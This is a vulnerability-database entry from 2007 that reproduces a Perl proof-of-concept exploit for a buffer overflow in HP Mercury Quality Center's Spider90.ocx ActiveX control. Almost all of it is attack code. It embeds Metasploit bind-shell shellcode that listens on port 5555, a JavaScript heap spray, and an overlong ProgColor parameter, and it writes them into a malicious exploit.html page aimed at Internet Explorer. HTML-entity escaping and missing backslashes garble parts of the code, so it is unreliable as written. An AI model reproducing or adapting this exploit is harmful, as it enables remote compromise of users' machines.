HP Mercury Quality Center Spider90.ocx ProgColor Overflow Exploit

🗓️ 07 Apr 2007 00:00:00Reported by RootType
HP Mercury Quality Center Spider90.ocx ProgColor Overflow Exploit PO

                                                #!/usr/bin/perl
#&nbsp;POC&nbsp;exploit&nbsp;for&nbsp;Mercury&nbsp;Quality&nbsp;Center&nbsp;Spider90.ocx&nbsp;ProgColor&nbsp;Overflow
#&nbsp;credit&nbsp;to&nbsp;Skylined,&nbsp;Trirat&nbsp;Puttaraksa,&nbsp;HDM&nbsp;Skape&nbsp;and&nbsp;the&nbsp;rest&nbsp;of&nbsp;the
#&nbsp;metasploit&nbsp;crew.&nbsp;This&nbsp;exploit&nbsp;is&nbsp;just&nbsp;a&nbsp;cut&nbsp;and&nbsp;paste&nbsp;of&nbsp;thier&nbsp;code&nbsp;they&nbsp;#&nbsp;deserve&nbsp;the&nbsp;credit&nbsp;
#&nbsp;Vulnerability&nbsp;found&nbsp;by&nbsp;Titon&nbsp;and&nbsp;Ri0t&nbsp;of&nbsp;Bastardlabs&nbsp;&nbsp;

use&nbsp;strict;

#&nbsp;win32_bind&nbsp;LPORT&nbsp;=&nbsp;5555&nbsp;-&nbsp;Metasploit
my&nbsp;$shellcode&nbsp;=
\"xfcx6axebx4dxe8xf9xffxffxffx60x8bx6cx24x24x8bx45\".
\"x3cx8bx7cx05x78x01xefx8bx4fx18x8bx5fx20x01xebx49\".
\"x8bx34x8bx01xeex31xc0x99xacx84xc0x74x07xc1xcax0d\".
\"x01xc2xebxf4x3bx54x24x28x75xe5x8bx5fx24x01xebx66\".
\"x8bx0cx4bx8bx5fx1cx01xebx03x2cx8bx89x6cx24x1cx61\".
\"xc3x31xdbx64x8bx43x30x8bx40x0cx8bx70x1cxadx8bx40\".
\"x08x5ex68x8ex4ex0execx50xffxd6x66x53x66x68x33x32\".
\"x68x77x73x32x5fx54xffxd0x68xcbxedxfcx3bx50xffxd6\".
\"x5fx89xe5x66x81xedx08x02x55x6ax02xffxd0x68xd9x09\".
\"xf5xadx57xffxd6x53x53x53x53x53x43x53x43x53xffxd0\".
\"x66x68x15xb3x66x53x89xe1x95x68xa4x1ax70xc7x57xff\".
\"xd6x6ax10x51x55xffxd0x68xa4xadx2exe9x57xffxd6x53\".
\"x55xffxd0x68xe5x49x86x49x57xffxd6x50x54x54x55xff\".
\"xd0x93x68xe7x79xc6x79x57xffxd6x55xffxd0x66x6ax64\".
\"x66x68x63x6dx89xe5x6ax50x59x29xccx89xe7x6ax44x89\".
\"xe2x31xc0xf3xaaxfex42x2dxfex42x2cx93x8dx7ax38xab\".
\"xabxabx68x72xfexb3x16xffx75x44xffxd6x5bx57x52x51\".
\"x51x51x6ax01x51x51x55x51xffxd0x68xadxd9x05xcex53\".
\"xffxd6x6axffxffx37xffxd0x8bx57xfcx83xc4x64xffxd6\".
\"x52xffxd0x68xf0x8ax04x5fx53xffxd6xffxd0\";

my&nbsp;$jscript&nbsp;=
\"<script>
\"&nbsp;.
\"shellcode&nbsp;=&nbsp;unescape(\"\"&nbsp;.&nbsp;convert_shellcode($shellcode)&nbsp;.\"\");
\"&nbsp;.
\"bigblock&nbsp;=&nbsp;unescape(\"\\%u9090\\%u9090\");
\"&nbsp;.
\"headersize&nbsp;=&nbsp;20;
\"&nbsp;.
\"slackspace&nbsp;=&nbsp;headersize+shellcode.length;
\"&nbsp;.
\"while&nbsp;(bigblock.length<slackspace)&nbsp;bigblock+=bigblock;
\"&nbsp;.
\"fillblock&nbsp;=&nbsp;bigblock.substring(0,&nbsp;slackspace);
\"&nbsp;.
\"block&nbsp;=&nbsp;bigblock.substring(0,&nbsp;bigblock.length-slackspace);
\"&nbsp;.
\"while(block.length+slackspace<0x40000)&nbsp;block&nbsp;=&nbsp;block+block+fillblock;
\"&nbsp;.
\"memory&nbsp;=&nbsp;new&nbsp;Array();
\"&nbsp;.
\"for&nbsp;(i=0;i<350;i++)&nbsp;memory[i]&nbsp;=&nbsp;block&nbsp;+&nbsp;shellcode;
\"&nbsp;.
\"</script>\";

my&nbsp;$header&nbsp;=
\"<html>
\"&nbsp;.
\"<head>
\"&nbsp;.
\"</head>
\"&nbsp;.
$jscript&nbsp;.
\"<body>
\";

my&nbsp;$footer&nbsp;=
\"</body>
\"&nbsp;.
\"</html>\";

my&nbsp;$body&nbsp;=&nbsp;
\"<OBJECT&nbsp;ID=\"MQC\"&nbsp;CLASSID=\"CLSID:98c53984-8bf8-4d11-9b1c-c324fca9cade\"&nbsp;CODEBASE=\"Spider90.ocx#Version=9,1,0,4353\"&nbsp;WIDTH=100\\%&nbsp;HEIGHT=100\\%>
\"&nbsp;.
\"<PARAM&nbsp;NAME=\"ProgColor\"&nbsp;value=\"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFFFFx0dx0dx0dx0d\">
\"&nbsp;.
\"</object>
\"&nbsp;.
\"</body>
\"&nbsp;.
\"</html>\";

my&nbsp;$page&nbsp;=&nbsp;\"xffxfe\";	#&nbsp;magic&nbsp;number&nbsp;of&nbsp;M$&nbsp;unicode&nbsp;file
my&nbsp;$c;


foreach&nbsp;$c&nbsp;(split&nbsp;//,&nbsp;($header))&nbsp;{
	$page&nbsp;=&nbsp;$page&nbsp;.&nbsp;$c&nbsp;.&nbsp;\"x00\";
}



foreach&nbsp;$c&nbsp;(split&nbsp;//,&nbsp;($body&nbsp;.&nbsp;$footer))&nbsp;{
	$page&nbsp;=&nbsp;$page&nbsp;.&nbsp;$c&nbsp;.&nbsp;\"x00\";
}

open&nbsp;(IE,&nbsp;\">\",&nbsp;\"exploit.html\");

print&nbsp;IE&nbsp;$page;

close&nbsp;IE;

#&nbsp;This&nbsp;function&nbsp;copy&nbsp;from&nbsp;JSUnescape()&nbsp;code&nbsp;in&nbsp;Metasploit
sub&nbsp;convert_shellcode&nbsp;{
	my&nbsp;$data&nbsp;=&nbsp;shift;
	my&nbsp;$mode&nbsp;=&nbsp;shift()&nbsp;||&nbsp;\'LE\';
	my&nbsp;$code&nbsp;=&nbsp;\'\';
	
	#&nbsp;Encode&nbsp;the&nbsp;shellcode&nbsp;via&nbsp;%u&nbsp;sequences&nbsp;for&nbsp;JS\'s&nbsp;unescape()&nbsp;function
	my&nbsp;$idx&nbsp;=&nbsp;0;
	
	#&nbsp;Pad&nbsp;to&nbsp;an&nbsp;even&nbsp;number&nbsp;of&nbsp;bytes
	if&nbsp;(length($data)&nbsp;%&nbsp;2&nbsp;!=&nbsp;0)&nbsp;{
		$data&nbsp;.=&nbsp;substr($data,&nbsp;-1,&nbsp;1);
	}
	
	while&nbsp;($idx&nbsp;<&nbsp;length($data)&nbsp;-&nbsp;1)&nbsp;{
		my&nbsp;$c1&nbsp;=&nbsp;ord(substr($data,&nbsp;$idx,&nbsp;1));
		my&nbsp;$c2&nbsp;=&nbsp;ord(substr($data,&nbsp;$idx+1,&nbsp;1));	
		if&nbsp;($mode&nbsp;eq&nbsp;\'LE\')&nbsp;{
			$code&nbsp;.=&nbsp;sprintf(\'%%u%.2x%.2x\',&nbsp;$c2,&nbsp;$c1);	
		}&nbsp;else&nbsp;{
			$code&nbsp;.=&nbsp;sprintf(\'%%u%.2x%.2x\',&nbsp;$c1,&nbsp;$c2);	
		}
		$idx&nbsp;+=&nbsp;2;
	}
	
	return&nbsp;$code;
}

&nbsp;
07 Apr 2007 00:00Current
7.1High risk
Vulners AI Score7.1